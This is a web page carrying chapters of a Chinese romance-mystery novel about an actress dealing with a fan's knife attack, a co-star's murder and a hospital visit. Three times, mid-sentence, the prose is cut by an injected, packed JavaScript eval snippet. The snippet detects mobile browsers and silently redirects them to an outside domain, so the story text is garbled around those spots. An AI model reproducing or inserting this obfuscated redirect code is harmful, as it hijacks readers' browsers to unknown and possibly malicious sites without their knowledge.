许昭清楚地说明来意,眼角始终挂着浅浅的笑纹,纹路像柔和地笔锋,晕染在清秀的眉尾。她友好的态度终于让江知渺稍稍放下了抵触的心理,不过,昨天的事本就发生在刹那间,她几句话便讲完了。 “好的,基本情况我们了解了。”许昭龙飞凤舞地记下最后几个字,眯起眼睛,像个乖巧的学生一般端坐起来,“那我们就不打扰了,之后如果想起什么,可以随时联系我们。” 说着,她便要起身离开。见周屹泽也跟着她站起来,许昭一把将他按了回去,“我还要去现场看一圈,你就别去了,给你十分钟,跟偶像说说话。” “哎,你……”没等周屹泽反应过来,许昭早就一溜烟跳下房车,跑得没影了。 安静的房车内,转眼间只剩下他们两个人。周屹泽不自在地搓着笔记本的一角,假装在看纸上记录的内容。对面,江知渺也沉默着,视线落在他蓬松的头顶上,若有所思。 过了许久,就在气氛即将凝固到冰点的时候,两人忽然同时开口: “这几年你过得怎么样?” “学姐,好久不见。” 23. 守护 《流年似水》片场外,靠近入口的停车场上,一辆迈巴赫飞速驶入,精准地停入最后一个空车位。 “喂,大侄子,小叔到了啊。”车门被从内推开,一双长腿悠闲地跨出车门,走出一位身材高大健硕的男人。 他穿着一身剪裁得体、用料讲究的高档西装,勾勒出宽阔的肩膀,锻炼得当,身形挺拔。乌黑浓密的短发被发胶整齐地固定在额头之上,露出一张端正的面孔。 他右手举着手机贴在耳边,左手随意地插进裤兜,闲适地靠在车门上。不说话时,强大的气场让他看上去有三十多岁,但说话之间,上翘的眼角眉飞色舞,活跃的表情又让他年轻了几分。 “邵峥,我说过别这样叫我。”醇厚的声音从听筒缓缓地流淌出来,经过电流的压缩,仍然立体而清晰,仿佛在面对面说话。 “好吧好吧,邵大主持,这样称呼总可以了吧?”邵峥把车钥匙高高抛起又接住,转身往片场入口走去。 “你……算了,你进去了吗?”电话另一头传来一声叹息。 “正要去呢,别急啊!你说你,这么担心我侄媳妇干嘛不自己过来探班?我又不是你的助理,也不是你家保镖,集团还有一堆文件等着我去签呢……” 他的话匣子一打开就停不下来,电话那端,邵聿早就习惯了他的絮絮叨叨,把手机拿远,一句也没有反驳。 “哎哎哎,我好像看见她了!”刚走到片场外必须经过的一段小山坡上,邵峥停下脚。 “谁?” “还能是谁啊?”邵峥伸长脖子眺望起来,“我看看啊……她好像正往外走,完了!一会儿迎面碰上怎么办?” “……我让你来探班,又不用偷偷摸摸,有什么见不得人的?”邵聿的语气里充满了无奈。 “诶,她旁边还有一个男的,好像是……正送他出来?”邵峥垫了垫脚,躲进山坡上的一棵树干后面。 “是谁?”电话另一头的声音突然抬高了。 “等一下,我看不清,出门忘戴隐形了……个子挺高的,也挺壮,他俩一直在说话,侧脸我认不出来啊。” 邵峥往山坡下又走了几步,江知渺他们刚好停在片场围栏外,他使劲眨眨眼,借着挤出的一点眼泪,终于看清了那人的面貌。 “是那个小警察!” 邵峥与他们的直线距离只有几十米,他不敢高声张扬,刻意压低的嗓音悠悠传入听筒,却如石沉大海,他等了很久,除了对面细微的呼吸声,没有等来哪怕一句话。 饶是神经再大条,邵峥也察觉出气氛不对。直到江知渺将周屹泽送上车,转身走回片场,他才试探道:“那个……我还进去探班吗?” 邵聿的呼吸声突然加重,甩下一句“不用了”,便匆匆挂断了电话,留邵峥对着电话忙音一头雾水。 “这俩人,也真是够让人不省心的……”他嘟囔了几句,把手机放回口袋,刚要原路返回停车场时,远远地看到江知渺举起手机贴在耳畔,从容的脚步突然停住了。 距离很远,邵峥听不到她在说什么,他鬼使神差地调转了方向,轻轻走下山坡,耳朵凑近片场的方向。 “对不起。” 他听到江知渺突然开始道歉,正在疑惑时,又听她深深地吸了一口气,喉咙中压抑着颤抖的气息。 “是我想多了,我以为,至少现在,你会想听我报一声平安。” 她语调里藏匿的悲戚让邵峥听了也不由自主地跟着伤怀起来,每个音节都被她咬得极轻,像捧着满溢的水行走,稍快一点就会泼洒出去,可尾音又漏出一丝气音,固执地维持着平稳。 “我要去拍戏了,你专心出差吧。”在情绪即将暴露出细小的裂痕前,她潦草地收了尾。 隔着低矮的围栏,邵峥目送江知渺的背影逐渐走远,她始终高傲地昂着头颅,脖颈舒展,肩线平直,每一步都像从水中提起足尖,不疾不徐,蜻蜓点水般掠过人间烟火。 她一路穿过人群,人群自动向两侧分流,明明没有刻意推开谁,却让周围人不由自主让出半米距离。 这个背影让邵峥恍惚起来,他忽然感到江知渺有点陌生。在他的记忆里,她还是七年前少女般跳脱的模样。 她和邵聿一人提着一个巨大的行李箱,手挽着手,站在他家门口。他打开房门,从小到大第一次看见,这个小自己五岁的侄子笑得那样幸福。 一见到他,邵聿便拉着身旁女孩的手,举到他的面前,邵峥清楚地看到了两人无名指上的银色素戒。他难以置信地瞪大了双眼,惊讶地看着邵聿。 那时候邵聿的播音腔还没有成熟,夹杂着些许少年音,“邵峥,我结婚了!” 他这才回过神来,眼前这个自己看着长大的男孩,在二十三岁的年纪,没有任何提前的预告,突然间就成为了一位丈夫。 而邵峥是这个世界上除了他们两人之外,第一个得知这件事的人。他们早上刚去领完结婚证,马上要去新西兰度蜜月,就连离开的背影也洋溢着幸福。 男孩嘴里在讲着什么,女孩一直仰头看着他,她的瞳孔在阳光的映照下碎光四溅,嘴角扬起的弧度像蜻蜓点水时漾开的圆纹。两个人说说笑笑地走到路边,搭上去往机场的出租车。 待到江知渺的背影消失在视线里,邵峥依旧站在片场外,迟迟没有离开。口袋里的手机发出震动,他拿起来看了一眼信息的内容,没有修改,直接转发给邵聿。很快,他收到了邵聿的回复: 「谢谢。」 走到小山坡的制高点,他最后回望了一眼偌大的片场。尽管没有走进去过,可他对其中每一个角落都熟稔于心。 而这也要拜自己这位别别扭扭的侄子所赐,刚刚那条转发给邵聿的信息,正来自于他的集团助理: 「安保人员已全部就位。」 他本想今天结束探班后,亲口问一问邵聿:既然你听到江知渺遭遇粉丝袭击的消息后心急如焚,为什么不肯亲自来看看她,反而是来求我,求我在片场安插安保人员,保护她的安全,还要我再三保证一定会向她保密? 如今他仍然没有得到问题的答案,可却不想深究了。或许在他不知道的时候,当年那对站在他面前的有情人,早已如白驹过隙,面目全非了。 “知渺姐,修导刚才派人来通知,说今天先拍第二场男主角的戏,你的那一场放在后面,我们……”冉然步履匆匆地向她走过来,抬起手腕看了看时间,“我们还有一个小时的时间化妆。” “好。”江知渺从她手里接过剧本,加快了脚步,“医院那边有消息吗?” “没有,我刚刚打电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737437|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问过,医生说病人目前情况稳定,正在做全面检查。” “有什么新情况一定要第一时间告诉我。”江知渺又嘱咐了几句,这才走进化妆间。 今日演员们已经正式开工,化妆间里冷冷清清,江知渺径直走向自己平时化妆的座位,身后突然被人拍了一下,俏皮的声音从背后响起:“知渺姐!” 昨日袭击留下的阴影尚未褪去,她立时脊背发凉,下意识猛然向一旁躲闪。楚妍姝娇小的圆脸上原本还洋溢着笑容,看到她的反应,顿时脸色苍白,愧疚地捂住了自己的嘴。 “抱歉抱歉,知渺姐,我不是故意要吓你的。”她不停地道歉,连忙上前来搀扶。 江知渺定了定神,释然道:“没事,我刚才在分神想别的事情,没有听到你的脚步声。” 可楚妍姝还是面带歉意,眼底都晕上了一层水光。江知渺拉着她坐在自己旁边,轻轻拍了拍她冰凉的手掌,“我真的没事。对了,还没来得及感谢你,昨天陪我一起守在抢救室外,今天早上又帮我接待媒体记者。” 楚妍姝的脸颊上又恢复了青春的红晕,她伸手拿起桌上的发夹,递给江知渺身后的发型师,又把自己的椅子挪近了一些,凑到她身边,“知渺姐,你就不要跟我客气啦,我也没做什么,能帮到你就好。” 她一边说,一边又拉起江知渺的手臂,撒娇似的小幅度轻轻摇晃起来,让江知渺回想起孩童时期的玩伴,仅仅是面对面拉起双手,像船儿一样左右晃动,都能开怀大笑起来。 还真是个小孩子啊,江知渺在心底笑着说道。 “不过知渺姐,国立电视台的那个女记者没有为难你吧?” 江知渺睁开眼,抬手示意化妆师稍等,扭头看向楚妍姝,“怎么,她为难你了吗?” 或许是因为看到她突然严肃的神情,楚妍姝用力地摇了摇头,“没有啦,我只是陪他们在休息区坐了十分钟,他们那个记者,看上去不太好惹的样子。” 江知渺松了一口气,闭上眼睛继续化妆,“嗯,她的确是一个,很聪明的记者。” “知渺姐,我还以为国立电视台会派你老公过来采访呢。”楚妍姝的语调突然跃动起来,带着掩饰不住的八卦气息。 话音落下,却没有人接话,空气突然寂静下来,化妆刷在脸上轻扫的声音都显得格外刺耳。江知渺知道自己此时应该接几句俏皮话,然而事实是,邵聿正在外省出差,袭击事件发生后,他主动打来过仅仅一个电话,而刚才在她回拨的通话里,两人又不欢而散。 “他是综合部的主持人,不负责新闻报道。” 江知渺平静地回答道,这个理由足够合理,说完一遍,连她自己都开始怀疑,刚刚她主动报平安时,电话里那个心不在焉、冷淡到了冰点的男人,是不是她睡眠不足产生的幻觉。 楚妍姝倒是打开了话匣子,仿佛丝毫没有察觉到她片刻沉默中的复杂情绪,义愤填膺起来,“要我说,他们这些记者都不应该来找你,反倒是该去警察局里,问问柏霆宇的案子到底什么时候才能破案!要不是一直抓不到真凶,那个粉丝也不会跑来伤害你!” “对了,知渺姐,你觉得会是谁杀了柏霆宇呀?”她忽地压低声音,神神秘秘地问道。 江知渺拿起桌上的咖啡抿了一口,“我。” 24. 隐秘 江知渺轻描淡写的一句话,却让楚妍姝愣了很久才回过神来,她先是呆呆地眨了几下眼睛,而后才摆着手笑道:“别逗我了知渺姐,以前怎么没听人说起过你这么幽默!” 江知渺挑了挑眉,“现在不是我的嫌疑最大吗?” “那是别人的想法,我们俩都跟他合作过,难道也要猜得这么离谱吗?” 这还是江知渺第一次和人客观地讨论柏霆宇的案子。案发后,旁人与她提起此事大多是讳莫如深。 “你呢,你觉得凶手可能是谁?”她侧过身,认真地问道。 楚妍姝往空荡荡的化妆间扫视一圈,确认没有外人在,这才煞有其事地绷起脸,小声道:“我觉得,柏霆宇肯定有好多好多秘密。” “你是指他伪造了家庭背景吗?” “不不不。”楚妍姝坚定地摇了摇头,“你有没有发现,他经常跑到没人的地方接电话,收工之后的行程也总是神神秘秘的。” 江知渺仔细回想《凤皇止阿房》拍摄期间的情形,确实如她所说,柏霆宇有时会突然消失,也见到过他在僻静的角落打电话。 只不过那时柏霆宇突然甩出她弟弟的事情,就已经让她足够烦恼了,因此也没太在意这些。 “一开始我也觉得,他可能是去见女朋友吧,圈内都知道他女友换得勤。”楚妍姝继续回忆道:“但有一次,我听到他跟电话那头吵了几句,突然又变得特别谦卑,恭恭敬敬地说什么‘好的老板,我一定办到’,挂电话之后,他那个脸色黑得……可把我吓了一跳!” “老板?”江知渺重复了一遍,“如果我没记错的话,他是自己开工作室的,哪里来的老板?” “就是说啊,而且他对这个老板还毕恭毕敬的样子,很奇怪吧?”楚妍姝双手搭在江知渺座椅的扶手上,像一只小兔子,瞪着圆圆的眼睛,认真地分析着。 “你觉得凶手有可能是这个‘老板’?”江知渺眉头轻锁,思考着这些扑朔迷离的可能性。 楚妍姝随意地撩了撩发尾,起身靠在化妆桌前,摊开双手,“那倒不是,只是感觉他没有看上去那么,绝对不只是一个花花公子啦。反正合作两个月,我是觉得自己一点都不了解他。” 江知渺笑了笑,不置可否,拿起手边的剧本,翻到今天要拍的那一页,刚看了两行,便听楚妍姝问道:“知渺姐,你呢?你觉得他是一个什么样的人?” 她翻页的手指顿了顿,心跳不正常地加快,脑海里漂浮着的台词,突然被一片白茫茫的原野取代。甚至越是努力思考,企图找出一个词语来,就越是意识到,自己完全给不出答案。原本平和的心境忽有千军万马疾驰而过,马蹄声和着她凌乱的心跳,在耳膜里轰隆作响。 可她不得不要求自己保持表面的平静,楚妍姝就站在她的正对面,只有两步远,她不想让人看出自己的慌乱。 江知渺很快就调整好了呼吸,嘴角挑起轻微的弧度,迎上楚妍姝的目光。她那双池水般的眼眸清澈见底,盈满了自己的身影,灵巧的睫毛在眨眼间轻盈舞动,带着稚童一样天真懵懂的探询。 “我也是。”江知渺心虚地结束了自己的回答,匆忙截断最后一个字的尾音,让三个字略显生硬地掉落在地上。 江知渺忽地想起,《凤皇止阿房》的收官之夜,柏霆宇在微博上发了一篇小作文,其中对于自己所饰演的慕容冲,他是这样评价的: 「他生于钟鸣鼎食的高贵王族,却在战乱中早早见识了人间疾苦;他以为自己将背负污名了此残生,却阴差阳错重获新生;他本可以策马扬鞭收复故国,却最终葬送于暴戾的性格烙印。以复仇为生,因复仇而亡,命运全然是一场对他彻头彻尾的捉弄。」 凤皇,凤皇,这是慕容冲的小名,似乎注定了他不平凡的人生。 那么,你呢,柏霆宇,你又过着怎样的人生呢?我该怎样评价你呢? 《凤皇止阿房》开机已有两周,尽管第一天的爆破戏出了些意外,但经过两周的磨合,整个剧组已经非常高效地运转起来了。 这场夜戏只需要江知渺和饰演苻坚的男二号钟旭植参与,晚饭前,江知渺亲眼看到柏霆宇独自外出了,此时他却准时回到片场,搬了椅子坐在导演身边。 公元370年,前燕被前秦所灭,前燕清河公主慕容鸢被送入苻坚后宫,这场戏是慕容鸢第一次侍寝,剧烈反抗未果的场景。 洞房花烛夜,家国仇恨深。尽管皇帝苻坚对慕容一族格外开恩,可自幼饱读诗书的慕容鸢却不愿接受成为后宫嫔妃的命运。 她后退、推拒、百般哀求;他迎上、拉扯、充耳不闻。 华丽的头冠磕在硬榻上,脑后传来一阵剧痛,眼前,碗口大的镜头直晃晃地对着她的脸。 空洞的玻璃镜片内发射出强烈刺眼的白光,视线无法聚焦,视野一片惨白。江知渺突然感觉自己变成一颗被强行掰开贝壳,在聚光灯下任人赏玩里面的贝肉。 她仿佛看到自己的身影在白光里拉长、扭曲、变型,皮囊被圈禁在镜头狭小的圆形牢笼中,而牢笼外,无数双眼睛正贪婪地盯着她,恍惚中,她甚至听到了那些人的话语。 “什么时候来的?” “刚到,半小时前吃的药,应该快醒了。” …… “真年轻。” “别怕,我会对你好的。” “听说你刚从中艺毕业,你长得这么漂亮,放心,我有很多剧本适合你……” 江知渺奋力挣扎起来,她已经不记得按照剧情自己该不该挣扎了,只是跟随本能,想要逃离这里,逃离这庄严冰冷的祭台,逃离子弹上膛的枪口。 她记得自己是成功逃走了的,她明明跑出了套房,跑出了高级会所,跑到空无一人的街道上,还甩开了追在身后的黑衣人。 可为什么现在她被一束强光死死地钉在硬榻上,怎么也动不了? “导演,请等一下。” 柏霆宇的声音突然破坏了寂静无声的片场,话音刚落,周围工作人员里就传来一声声泄气的埋怨。 “咔咔咔!”张导的语气里明显隐忍着怒意,他叹了一口气,“霆宇,怎么了?” 随着导演一声令下,摇臂带着几乎怼到脸上的摄影机移开了,江知渺的眼前终于恢复了正常,她劫后余生般,大口大口地喘息着。 刚才挣扎得过于投入,她的全身还在颤抖,几次想要撑着坐起来,手臂却用不上力气。 柏霆宇就这么闯入了她的视线,他站在床榻边,居高临下地看着她。他几次张口,似乎想要说些什么,然而都咽了下去。最后还是无言,极尽温柔地弯下腰,用坚实的手臂托住她的肩膀,将她扶了起来。 “擦眼泪。”他用只有他们两人能够听见的音量,在她的耳畔低声提醒,江知渺眨眨眼,这才感受到自己眼角的一丝湿润。 “谢谢。”江知渺眼神始终跟随着他,企图从他低垂的眼眸中读出些什么,可柏霆宇一反常态,既没有轻佻地逗弄她,也没有浮夸地索要回报,甚至都没有直视过她的眼睛,将她扶起来后就径直回到导演身边。 “张导,非常抱歉,我就是突然想起来前段时间网上的舆论。” 柏霆宇真挚地向所有工作人员的方向鞠了一躬,凑到导演身边,严肃地说道:“一个月之前上了个现代戏,拍这种施暴情节的时候,全部拍的是女演员的画面,结果被观众诟病,在热搜挂了一周,您还记得吗?” 导演若有所思地点点头,“是有这回事儿,不过咱们这算是历史剧,又是以慕容家的视角讲述的,不至于出现同样的情况。” “哎,那可不一定!”柏霆宇夸张地说道:“总归是有那些博眼球的先例在,到时候营销号断章取义,咱们就算有无数个道理也说不清!” 张导叫来副导演,商量了一会儿,决定重新设计这段剧情的拍摄手法,改日重拍,剧组喜提提前收工,工作人员们纷纷开始兴高采烈地收拾起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752322|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Z省虽然位于南方,可初春时分,冬季的寒意仍未褪去,江知渺紧了紧衣领,靠在临时搭建的木质高台上,静静地看着低处片场里许许多多忙碌的身影。 一个热源忽然靠近她的身旁,即使没有接触,江知渺还是感受到了来人。她慢慢扭过头去,柏霆宇双手随意地撑在栏杆上,夜色中,他身着笔挺的米色毛呢大衣,长身鹤立,朗月疏竹。 “刚才,谢谢你。”江知渺回过头,片场的灯一盏一盏灭掉,很快便只剩下最中央的一盏,指引着仅剩的几位工作人员做最后的整理。 “不喜欢的事,为什么还要做?”他的声音仿佛从很远的地方传来,悠长缥缈。 江知渺低下头,看着自己的手掌,方才拍摄时指甲不由自主抠进掌心,留下两道月牙形的伤口。 “我没有不喜欢。”她讨厌承认自己做不到,干脆沉声定调。 柏霆宇转身靠在栏杆上,脚尖踢开地上的碎石,“你知道你自己是什么样子吗?” 江知渺疑惑地看着他,他无奈地笑了一下,“我以为你知道。” ——脸色惨白,额头渗出冷汗,面部肌肉痉挛,泪水止不住地往外流,看上去非常凄惨可怜,甚至称得上不堪。 柏霆宇没有给她描述,只是叹息一声,仰头望向晴朗无云的夜空,“我都不知道要不要夸你的演技了。” 他不说,江知渺也能猜出来,自己当时已经忘记是在拍摄,完全沉浸在恐惧之中,面目一定非常狰狞。 “总之”,江知渺面向他,欠身鞠了一躬,“我是真心地感谢你。你需要什么回报?只要在力所能及的范围内,我一定做到。” 柏霆宇睁大了眼睛,难以置信地盯了她很久,捂住心口,佯作伤感,“难道我帮你就是为了图你报答吗?” 难道不是吗?江知渺腹诽道。开机当天她差点因为低血糖晕倒,柏霆宇只是扶了她一下,就要她报答自己,今天还能突然改邪归正不成? “既然你非要报答我的大恩大德……”柏霆宇双手插兜,玩世不恭地勾起一侧嘴角,如雄鹰扑向猎物一般,猛地逼近她的脸庞,四目相对,近在咫尺,“那以后你就什么都听我的吧!” 江知渺后退一大步,咬牙切齿地说道:“柏霆宇,别那么幼稚。” “哈哈,好吧好吧。”柏霆宇放声大笑,又和她一起趴在栏杆上。片场来来去去的人像蚂蚁搬家一样,很快就将一天的狼藉收拾得整洁如新。 片场正中央的照明灯无声无息地熄灭了,最后一抹光源消失,只剩下微弱昏暗的月光在苦苦支撑,庞大的人造置景安静地伫立在夜色中,犹如一群沉睡的猛兽。 江知渺扣好大衣,准备回酒店休息,她在柏霆宇身后顿了顿,见他没有离开的意思,刚准备独自先行,柏霆宇就突然叫住了她。 “如果我说,让你把我当成你弟弟呢?” 江知渺全身的血液瞬间被这寒夜凝固,她僵硬地屏住呼吸,几乎麻木地转过身,柏霆宇多情的眼眸在月色下闪烁着炽热的光芒,充满了独属于二十来岁男性不容置喙的攻击力。 她被他眼神中散发出的力量逼得不住后退,“你……什么意思?” 她每退一步,柏霆宇就向她走近一步,直到将她逼到高台的角落,退无可退,才缓缓开口道:“你有一个弟弟,叫……” “我没有!”江知渺坚决地否定了他:“我不知道你在说什么,我是独生女,我父母只有我一个孩子,什么弟弟,我根本没听说过!” “知渺,你对我不用隐瞒……” “我没有隐瞒!”江知渺不由得抬高音量,颤抖的声线暴露了她的慌张。 她推开柏霆宇,想要尽快离开这里,然而柏霆宇并不打算就此放过她,反而冲上前来,从背后紧紧地将她圈进怀里,“江知渺,你听我说!” 她终于丧失了反抗的力气,怔怔地出神,听他在耳边道出一声惊雷:“我和你,是一样的人。” 25. 苏醒 “江知渺,怎么回事,这不像你啊?” 晚上十点,在几乎每一场戏都经历过多次NG后,修导终于宣布收工,《流年似水》剧组的工作人员都累得没有力气说话,埋头做着例行的收尾工作。 吴佑安砰地一声阖上剧本,挡在江知渺和冉然面前,冉然知趣地先行离开了,留下江知渺和他对峙。 虽说仍然直视着他,江知渺有些心虚,今天的NG大多数都是因为她突然断片。修导倒是没有责怪她,反而非常理解刚刚经历持刀袭击的她心神难安,也问过她需不需要休息,但她还是拒绝了:明明早就背得滚瓜烂熟的台词,怎么会一开机就忘得彻彻底底呢? 偏偏今天还都是她的重头戏,没办法,在第五次NG后,江知渺叫来冉然,给每个剧组的工作人员都定了一杯奶茶或咖啡,又用凉水洗了脸,强行让自己集中精神,这才磕磕绊绊地把一天的戏份拍完。 不过,在吴佑安面前,江知渺还是冷冷回敬道:“比起我,你先把普通话学会吧。” “谁说我不会普通话了?”吴佑安几乎要跳起来,“我可是有普通话证书的好不好?” “嗯嗯嗯,二乙证书也是证书。” 江知渺的手机开始震动,她敷衍了吴祐安两句,便接起电话来,“喂,栖月。” 听到梁栖月的名字,吴佑安瞬间屏息凝神,直直地盯着她的手机。 “程薇柔意识清醒了,想要见你,你收工之后来一趟医院吧。” 江知渺的全部心思都在这个好消息上,转身就要离开,吴佑安急忙开口叫住了她:“等等!” 江知渺以为他又要表演梁栖月的深情前男友的戏码,不耐烦地皱了皱眉,可他却出乎意料地关心道:“有什么我可以帮上忙的吗?” 江知渺以为他是在说梁栖月,果断地摆摆手,“没有,你还有事吗,没事我就先走了。” “等一下。”吴佑安再次将她叫住,这下江知渺也开始有些困惑。 他上前两步,走出月光在树冠下投出的阴影,拍戏时总是飘来飘去的眼神,此刻却专注认真,像是完全变了一个人。 “如果你有什么需要帮忙的,随时叫我。不管是……那个案子,还是工作上的事情,只要是我能帮得上的,一定尽力。” 他说话的时候带了十足十的决心,江知渺以前总觉得他这人有些扭捏,说话做事窝窝囊囊,然而现在站在他面前的这个吴佑安,和从大学时起近十年记忆中的那个人都不一样,倒有几分顶天立地的大丈夫气场,郑重其事的样子,让江知渺也不禁认真起来。 “好……”她在脑海里寻找合适的词汇,最后还是放弃了,不卑不亢地鞠了一躬,“谢谢。” A市第一医院是最好的公立医院,即使到了晚上,院内也是人潮不断。梁栖月在医院门口等她,见她下车后大剌剌地就要冲进来,伸开五指糊到她的脸上,麻利地给她套上准备好的口罩。 “等会儿等会儿,着什么急啊,人又不会跑!”江知渺进了医院就开始一路狂奔,梁栖月和冉然在后面紧赶慢赶,气喘吁吁地喊她。 ICU探视的规矩多,江知渺跟随护士经过完备的消毒流程,换上口罩、鞋套、隔离衣,又签署了探视知情同意书,这才被放进病房里。 病床上,程薇柔的脸上还扣着呼吸面罩,面罩将她本就瘦小的脸几乎完全盖住,她闭着眼睛,胸腔微弱地起伏,假如不仔细观察,甚至难以发觉她在呼吸。整个人完全陷进被子里,露在外面的手背上还在打点滴,苍白的手腕被不知什么监测仪器完全夹住,像是被猛兽一口咬住。 江知渺走到病床边,一路不敢发出一点声响,生怕打扰了她的睡眠,可刚一落座,病床上的人还是缓缓地睁开了眼睛。 “你醒啦……”她小声呼唤。 程薇柔无力地眨了眨眼,循着声音传来的方向,极慢地转过头,在目光触及她的瞬间,露出一个虚弱的微笑。 “薇柔,我……”江知渺看到她艰难的动作,忍不住红了眼圈,“谢谢你,谢谢你替我挡下那一刀,对不起,因为我才……” 可程薇柔没有任何怪罪她的意思,听到她的道歉,反而微微皱起眉头,极小幅度地摇了摇头,张开干燥的唇瓣。 江知渺将耳朵凑到她的枕边,她的声音隔着一层面罩,模模糊糊,像是梦话一般,“孩子……” 江知渺如梦初醒,“对了,医生和你说了吗?孩子还在,幸好。” 程薇柔的呼吸声却突然加重了,连呼吸面罩里都升起一层薄雾,她用没有扎着针头的那只手,用力地抓住江知渺的防护服,“几个、几个月了……” 江知渺偏头看向她,惊讶地发现她长长的眼睫下蓄满了泪水,一幅不可置信的模样。 “你……不知道自己怀孕了吗?”她犹豫地问出这个问题。 程薇柔轻轻的颔首仿佛在她心里降下了沉重的重锤,额头刹那间冒出一层冷汗,她倒吸了几口凉气,心里后怕起来。 江知渺回握住程薇柔的手,感受到她掌心的冰冷,耐心地问道:“孩子的爸爸在哪里?我帮你联系他,等他来了,你可以当面告诉他这个好消息。” 江知渺却万万没想到,提到孩子的父亲,程薇柔堆在眼睑的泪水突然像瀑布一般滚落,不一会儿脸颊上就布满了泪水,也是因为止不住的哽咽,呼吸机带来的空气难以支撑陡然剧烈的呼吸,监测仪器上的数值迅速飙升。 “薇柔,程薇柔!”她不敢用力去握那只干瘪枯瘦的手,只能尽量抬高音量,吸引她的注意,“别哭,你身上还有伤,不能哭!” 伤口因为身心的强烈波动开始作痛,痛意让程薇柔稍稍找回了一些理智,在江知渺的轻拍下,她慢慢理顺了呼吸,止住泪水,疼痛刺激得她的神经开始发痛,她搭上江知渺的手,一字一句地说:“我要,转院。” “好,医生说等你三天后转入普通病房就可以转院了,这几天我会帮你找好医院,你有没有什么其他的要求?” 程薇柔精疲力尽地摇了摇头,她已经没有一丝一毫多余的力气来回答,只想闭上眼睛,好好地休息一下被伤痛和孩子透支的体力。 江知渺又在一旁等了许久,直到她的呼吸慢慢变得轻缓,进入梦乡,这才轻手轻脚地走了出去。 “她跟你说了什么?为什么要替你挡刀?孩子的父亲是谁?”甫一踏出ICU的大门,梁栖月就围了上来,拉着她问出一连串问题。 江知渺叹息着摇了摇头,问她:“接收转院的医院联系好了吗?” “联系好了,什么时候去?” “如果她的身体状况允许,三天后。”江知渺戴上口罩,往医院外走去。 “这么着急?”梁栖月挽住她的手臂,掏出手机来翻看日历,“是她跟你提出来的吗?” 江知渺不置可否,尽管她也希望能尽快转院,可程薇柔主动提出,还是让她有些震惊。第一医院的医疗水平和医疗器械都是国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769864|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内顶尖的,即使是转入私立医院,很多前沿医疗设备也不可能有这里齐全。 转院这件事,说到底还是对江知渺这边更有利一点,以娱记的行动力,恐怕明天一早就能扒出程薇柔在哪个医院接受治疗了。 “或许是她也不想被媒体烦扰吧。”江知渺回忆起刚才程薇柔激动的情绪,她今年才二十四岁,既不知道自己怀孕,也不愿意提起孩子的父亲,只怕是有什么不愿张扬的隐情,如此说起来,躲避媒体也理所应当。 只是最后依然没有问清楚,她到底为什么会舍命为自己挡住那一刀。江知渺坐在返回剧组的车上,回想起当时的画面,还是感到脊背发凉。那么凶险的情况下,连她自己都呆住了,程薇柔究竟是如何下定决心的呢? “你问我吗?”江知渺仿佛听到了天大的笑话,她在吴佑安的面前站定,双手搭上他的领结,一寸一寸地向下滑去,直到指尖隐于领带的末端。 她的之间似乎带有魔力,吸引着吴佑安的目光,跟随着她一路下滑,在指尖迫近腰部时,他的喉结明显动了一下。 突然,江知渺狠狠地拉住领带,领结被力量推往反方向,顷刻间就锁住了他的喉咙。喉管被冰凉的丝质领带死死地挤压,也夺走了呼吸的通道,缺氧带来可怕的窒息感,求生的欲望令他双手握住江知渺的手,拼命地想要让她松开。 “当年你一走了之,杳无音信,我一个人回到老家,村子里闲言碎语太多,我只好一个人带着圆圆来到大城市打工,圆圆饿了是我一个人在喂,圆圆生病了也是我一个人守整夜。 现在你突然出现在我面前,告诉我说要和我分享这一切,说要做一个称职的好父亲,那我呢?我吃过的苦、流过的泪都算什么? 我告诉你,圆圆是我一个人的孩子,即便我的心里确实还有你,但那也是我自己犯傻,与圆圆毫无关系。你可以在四年前抛弃我一次,但现在,我绝对不会让圆圆像我一样被人抛弃。” “不是的,不是这样的,你听我解释……” “咔——” 修导高喊一声,厚重的声音穿透整个片场,机械设备应声而动,江知渺也卸了力气,松开吴佑安的领带,扶住桌子抹去脸颊上残余的泪水,吴佑安捂着自己的脖颈猛烈地咳了几声。 “静颜,叙声,怎么样,没事吧?”修导的声音从对讲机传过来,他叫的是他们两人在《流年似水》中的角色名,丛静颜,韩叙声。 江知渺抬起头,笑着冲他挥了挥手。吴佑安拖着沙哑的嗓音喊道:“导演,我没事。” “好!那咱们休息半小时。” 刚才拍摄的是剧情接近大结局部分的一场戏,男女主在学生时期分别、工作中偶然重逢后,经过漫长的拉扯,旧情复燃,韩叙声却突然发现,丛静颜这四年里一直独自养育两个人的孩子。 